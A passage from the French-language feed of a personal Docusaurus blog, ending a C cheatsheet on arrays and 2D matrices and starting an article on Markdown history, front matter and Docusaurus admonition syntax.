<div class="language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">char</span><span class="token plain"> word</span><span class="token punctuation" style="color:#393A34">[</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"HELLO"</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">char</span><span class="token plain"> word</span><span class="token punctuation" style="color:#393A34">[</span><span class="token number" style="color:#36acaa">5</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token char">'H'</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token char">'E'</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token char">'L'</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token char">'L'</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token char">'O'</span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">;</span><br></div></code></pre></div></div>
<p><em>ces deux méthodes fonctionnent</em></p>
<p>Les tableaux en C comme dans beaucoup de langage sont indexé en 0, cela signifie que le premier élément est à l'index <code>0</code>.</p>
<p>Ensuite pour <strong>appeler</strong> ces données, on utilise donc cet index :</p>
<div class="language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> numbers</span><span class="token punctuation" style="color:#393A34">[</span><span class="token number" style="color:#36acaa">5</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token number" style="color:#36acaa">10</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">20</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">30</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">40</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">50</span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> </span><span class="token comment" style="color:#999988;font-style:italic">// Déclaration d'un tableau</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> firstElement </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> numbers</span><span class="token punctuation" style="color:#393A34">[</span><span class="token number" style="color:#36acaa">0</span><span class="token punctuation" style="color:#393A34">]</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">printf</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"%d"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> firstElement</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><br></div></code></pre></div></div>
<p>En exécutant cela, on aura dans la sortie le nombre <code>10</code>.</p>
<p>Pour <strong>modifier</strong> les données présentent dans le tableau, on procède alors de la manière suivante :</p>
<div class="language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">modification de la valeur d'un tableau</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token comment" style="color:#999988;font-style:italic">// Définition du tableau</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> numbers</span><span class="token punctuation" style="color:#393A34">[</span><span class="token number" style="color:#36acaa">5</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token number" style="color:#36acaa">10</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">20</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">30</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">40</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">50</span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// On change le troisième élément </span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">numbers</span><span class="token punctuation" style="color:#393A34">[</span><span class="token number" style="color:#36acaa">2</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">35</span><span class="token punctuation" style="color:#393A34">;</span><br></div></code></pre></div></div>
<p>Après cela, les valeurs du tableau sont : <code>[10, 20, 35, 40, 50]</code>.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="tableaux-multidimentionnels">Tableaux multidimentionnels<a href="https://docs.bastienbonora.fr/blog/Cheatsheet-du-langage-C#tableaux-multidimentionnels" class="hash-link" aria-label="Lien direct vers Tableaux multidimentionnels" title="Lien direct vers Tableaux multidimentionnels" translate="no">​</a></h3>
<p>Pour la faire simple, ce sont des tableaux de tableaux qui nous permettent de représenter des dimensions.</p>
<div class="language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Déclarer un tableaux à deux dimensions</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> matrix</span><span class="token punctuation" style="color:#393A34">[</span><span class="token number" style="color:#36acaa">3</span><span class="token punctuation" style="color:#393A34">]</span><span class="token punctuation" style="color:#393A34">[</span><span class="token number" style="color:#36acaa">4</span><span class="token punctuation" style="color:#393A34">]</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// on déclarre 3 colonnes et 4 lignes</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> matrix</span><span class="token punctuation" style="color:#393A34">[</span><span class="token number" style="color:#36acaa">3</span><span class="token punctuation" style="color:#393A34">]</span><span class="token punctuation" style="color:#393A34">[</span><span class="token number" style="color:#36acaa">4</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">{</span><span class="token number" style="color:#36acaa">1</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">2</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">3</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">4</span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic">// Première ligne</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">{</span><span class="token number" style="color:#36acaa">5</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">6</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">7</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">8</span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic">// Seconde ligne</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">{</span><span class="token number" style="color:#36acaa">9</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">10</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">11</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">12</span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain">  </span><span class="token comment" style="color:#999988;font-style:italic">// Troisième ligne</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">;</span><br></div></code></pre></div></div>
<p>Et donc pour accéder et modifier les données de ce tableau, on doit donner les coordonnées pour accéder à la dite donnée :</p>
<div class="language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Accéder aux données de tableaux multidimentionnels</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> value </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> matrix</span><span class="token punctuation" style="color:#393A34">[</span><span class="token number" style="color:#36acaa">1</span><span class="token punctuation" style="color:#393A34">]</span><span class="token punctuation" style="color:#393A34">[</span><span class="token number" style="color:#36acaa">2</span><span class="token punctuation" style="color:#393A34">]</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain">  </span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// On accède à la ligne 1, colonne 2 (La valeur sera 7)</span><br></div></code></pre></div></div>
<div class="language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Modifier des valeurs d'un tableau multidimentionnel</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">matrix</span><span class="token punctuation" style="color:#393A34">[</span><span class="token number" style="color:#36acaa">0</span><span class="token punctuation" style="color:#393A34">]</span><span class="token punctuation" style="color:#393A34">[</span><span class="token number" style="color:#36acaa">3</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">100</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain">  </span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// Modifie l'élément à la ligne 0, colonne 3 par la valuer 100</span><br></div></code></pre></div></div>
<p>Et pour parcourir un tableau à 2 dimensions, on peut alors utilisés les boucles imbriquées :</p>
<div class="language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">for</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> i </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> i </span><span class="token operator" style="color:#393A34">&lt;</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">3</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> i</span><span class="token operator" style="color:#393A34">++</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">for</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> j </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> j </span><span class="token operator" style="color:#393A34">&lt;</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">4</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> j</span><span class="token operator" style="color:#393A34">++</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token function" style="color:#d73a49">printf</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"%d "</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> matrix</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">i</span><span class="token punctuation" style="color:#393A34">]</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">j</span><span class="token punctuation" style="color:#393A34">]</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token function" style="color:#d73a49">printf</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"\n"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain">  </span><span class="token comment" style="color:#999988;font-style:italic">// Écrire une nouvelle ligne après chaque rangée.</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>]]></content>
        <author>
            <name>Bastien Bonora</name>
            <uri>https://bastienbonora.fr</uri>
        </author>
        <category label="cheatsheet" term="cheatsheet"/>
        <category label="informatique" term="informatique"/>
    </entry>
    <entry>
        <title type="html"><![CDATA[Utiliser markdown avec Docusaurus]]></title>
        <id>https://docs.bastienbonora.fr/blog/Utiliser-markdown-docusaurus</id>
        <link href="https://docs.bastienbonora.fr/blog/Utiliser-markdown-docusaurus"/>
        <updated>2025-06-27T00:00:00.000Z</updated>
        <summary type="html"><![CDATA[Qu'est-ce que markdown, comment l'utiliser et quelles sont les différentes syntaxes sous Docusaurus ?]]></summary>
        <content type="html"><![CDATA[<p>Qu'est-ce que markdown, comment l'utiliser et quelles sont les différentes syntaxes sous Docusaurus ?</p>
<!-- -->
<div class="theme-admonition theme-admonition-tip admonition_xJq3 alert alert--success"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 12 16"><path fill-rule="evenodd" d="M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z"></path></svg></span>Avant propos</div><div class="admonitionContent_BuS1"><p>Dans cet article, je vais principalement parler de la manière dont on peut utiliser le langage markdown au sein de Docusaurus.</p></div></div>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="quest-ce-que-markdown">Qu'est-ce que markdown<a href="https://docs.bastienbonora.fr/blog/Utiliser-markdown-docusaurus#quest-ce-que-markdown" class="hash-link" aria-label="Lien direct vers Qu'est-ce que markdown" title="Lien direct vers Qu'est-ce que markdown" translate="no">​</a></h2>
<p>Dans ces articles, j'aime bien apporter quelques notions d'histoire. Le markdown a initialement été conçu en 2004 et a pour objectif d'être un langage de balisage léger permettant l'écriture de texte lisible en brut tout en pouvant facilement être converti en HTML ou en différent format (PDF, png, scg, etc.).
C'est donc <strong>John Gruber</strong> et les contributions d'<strong>Aaron Swartz</strong> qui ont permis au langage markdown de voir le jour.</p>
<p>La syntaxe n'a été que partiellement définie par les deux créateurs, et des implémentations divergent alors rapidement. Une absence de norme se fait ressentir et cela conduit à une compatibilité limitée entre les différents outils.</p>
<p>En 2014, <strong>CommonMark</strong> est une initiative de standardisation qui est menée par un groupe indépendant qui incluent des membres de Reddit, StackOverflow et GitHub. Son objectif est de fournir une spécification formelle et un parseur de référence : <code>cmark</code>. On se retrouve alors avec une version de Markdown strictement définie mais toujours extensible.</p>
<p>Récemment, on voit markdown recevoir des évolution dans beaucoup de sites web :</p>
<ul>
<li class=""><strong>GitHub Flavored Markdown (GFM)</strong> : tables, mentions, checkboxes, autolink</li>
<li class=""><strong>Pandoc Markdown</strong> : méta-données, citations, LaTeX</li>
</ul>
<p>Désormais, markdown s'est véritablement intégré dans beaucoup de domaines de l'informatique :</p>
<ul>
<li class="">Documentation technique : GitHub, GitLab, Docusaurus</li>
<li class="">Blogs et sites statiques : Jekyll, Hugo, Zola, Docusaurus</li>
<li class="">Éditions spécifiques ou personnelle : Pandoc, Quarto, Obsidian, Logseq, Notion (partiellement)</li>
<li class="">Communication collaborative : Slack, Discord, Reddit</li>
</ul>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="utiliser-markdown">Utiliser markdown<a href="https://docs.bastienbonora.fr/blog/Utiliser-markdown-docusaurus#utiliser-markdown" class="hash-link" aria-label="Lien direct vers Utiliser markdown" title="Lien direct vers Utiliser markdown" translate="no">​</a></h2>
<p>Je ne vais pas vous faire un cour complet sur markdown, sur l'écriture de base, vous pouvez vous référer à ce site : <a href="https://learninglab.gitlabpages.inria.fr/mooc-rr/mooc-rr-ressources/module1/ressources/introduction_to_markdown_fr.html" target="_blank" rel="noopener noreferrer" class="">Introduction à Markdown</a> dans lequel sont référencé toutes les écritures principales de markdown. Ce sont les éléments qui seront tous implémentés par défaut dans vos éditeurs favoris.</p>
<p>Je vais parler de ce que l'on retrouve en plus dans des éditeurs ou moteurs markdown récents. Chaque développeur peut ajouter ses propres syntaxes qui permettent de faire des choses supplémentaires. Concernant l'utilisation de docusaurus, on peut utiliser markdown de la manière suivante : <a href="https://docusaurus.io/docs/markdown-features" target="_blank" rel="noopener noreferrer" class="">Markdown Features | Docusaurus</a></p>
<p>Voici quelques une des features intéressantes de docusaurus :</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="admonitions">Admonitions<a href="https://docs.bastienbonora.fr/blog/Utiliser-markdown-docusaurus#admonitions" class="hash-link" aria-label="Lien direct vers Admonitions" title="Lien direct vers Admonitions" translate="no">​</a></h3>
<p>Ces éléments sont uniquement possible avec des fichiers <code>.mdx</code> au lieu de <code>md</code>.</p>
<p>Par exemple, la structure de cet article commence par :</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">---</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">slug: Utiliser-markdown-docusaurus</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">title: "Utiliser markdown avec Docusaurus"</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">authors: [bastien]</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">tags: [informatique, open-source]</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">---</span><br></div></code></pre></div></div>
<p>Cela me permet de définir l'URL, le titre de l'article, le ou les auteurs, ainsi que les tags.</p>
<p>Ensuite, je mets le texte de base qui est affiché par docusaurus et Google lorsqu'il référence mes articles :</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">Qu'est-ce que markdown, comment l'utiliser et quelles sont les différentes syntaxes ?</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">&lt;!-- truncate --&gt;</span><br></div></code></pre></div></div>
<div class="theme-admonition theme-admonition-tip admonition_xJq3 alert alert--success"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 12 16"><path fill-rule="evenodd" d="M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z"></path></svg></span>Remarque</div><div class="admonitionContent_BuS1"><p>La balise trucate permet de définir où Docusaurus s'arrête pour afficher le texte dans la page de mon blog. Google peut alors utiliser ce texte pour l'afficher dans son référencement.</p></div></div>
<p>Ensuite, on peut ajouter et importer des éléments dans ce fichier pour qu'ils soient utilisés.</p>
<p>On retrouve alors différents types de ces notes :</p>
<div class="theme-tabs-container tabs-container tabList__CuJ"><ul role="tablist" aria-orientation="horizontal" class="tabs"><li role="tab" tabindex="0" aria-selected="true" class="tabs__item tabItem_LNqP tabs__item--active">note</li><li role="tab" tabindex="-1" aria-selected="false" class="tabs__item tabItem_LNqP">information</li><li role="tab" tabindex="-1" aria-selected="false" class="tabs__item tabItem_LNqP">Attention</li><li role="tab" tabindex="-1" aria-selected="false" class="tabs__item tabItem_LNqP">Danger</li><li role="tab" tabindex="-1" aria-selected="false" class="tabs__item tabItem_LNqP">Personnalisé</li></ul><div class="margin-top--md"><div role="tabpanel" class="tabItem_Ymn6"><div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">:::note</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">ceci est une note avec du **markdown**</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">:::</span><br></div></code></pre></div></div><div class="theme-admonition theme-admonition-note admonition_xJq3 alert alert--secondary"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 14 16"><path fill-rule="evenodd" d="M6.3 5.69a.942.942 0 0 1-.28-.7c0-.28.09-.52.28-.7.19-.18.42-.28.7-.28.28 0 .52.09.7.28.18.19.28.42.28.7 0 .28-.09.52-.28.7a1 1 0 0 1-.7.3c-.28 0-.52-.11-.7-.3zM8 7.99c-.02-.25-.11-.48-.31-.69-.2-.19-.42-.3-.69-.31H6c-.27.02-.48.13-.69.31-.2.2-.3.44-.31.69h1v3c.02.27.11.5.31.69.2.2.42.31.69.31h1c.27 0 .48-.11.69-.31.2-.19.3-.42.31-.69H8V7.98v.01zM7 2.3c-3.14 0-5.7 2.54-5.7 5.68 0 3.14 2.56 5.7 5.7 5.7s5.7-2.55 5.7-5.7c0-3.15-2.56-5.69-5.7-5.69v.01zM7 .98c3.86 0 7 3.14 7 7s-3.14 7-7 7-7-3.12-7-7 3.14-7 7-7z"></path></svg></span>remarque</div><div class="admonitionContent_BuS1"><p>ceci est une note avec du <strong>markdown</strong></p></div></div></div><div role="tabpanel" class="tabItem_Ymn6" hidden=""><div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">:::tip</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Ceci est une information</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">:::</span><br></div></code></pre></div></div><div class="theme-admonition theme-admonition-tip admonition_xJq3 alert alert--success"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 12 16"><path fill-rule="evenodd" d="M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z"></path></svg></span>astuce</div><div class="admonitionContent_BuS1"><p>Ceci est une information</p></div></div></div><div role="tabpanel" class="tabItem_Ymn6" hidden=""><div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">:::warning</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Ceci est un avertissement</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">:::</span><br></div></code></pre></div></div><div class="theme-admonition theme-admonition-warning admonition_xJq3 alert alert--warning"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>attention</div><div class="admonitionContent_BuS1"><p>Ceci est un avertissement</p></div></div></div><div role="tabpanel" class="tabItem_Ymn6" hidden=""><div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">:::danger</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Ceci est un danger</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">:::</span><br></div></code></pre></div></div><div class="theme-admonition theme-admonition-danger admonition_xJq3 alert alert--danger"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 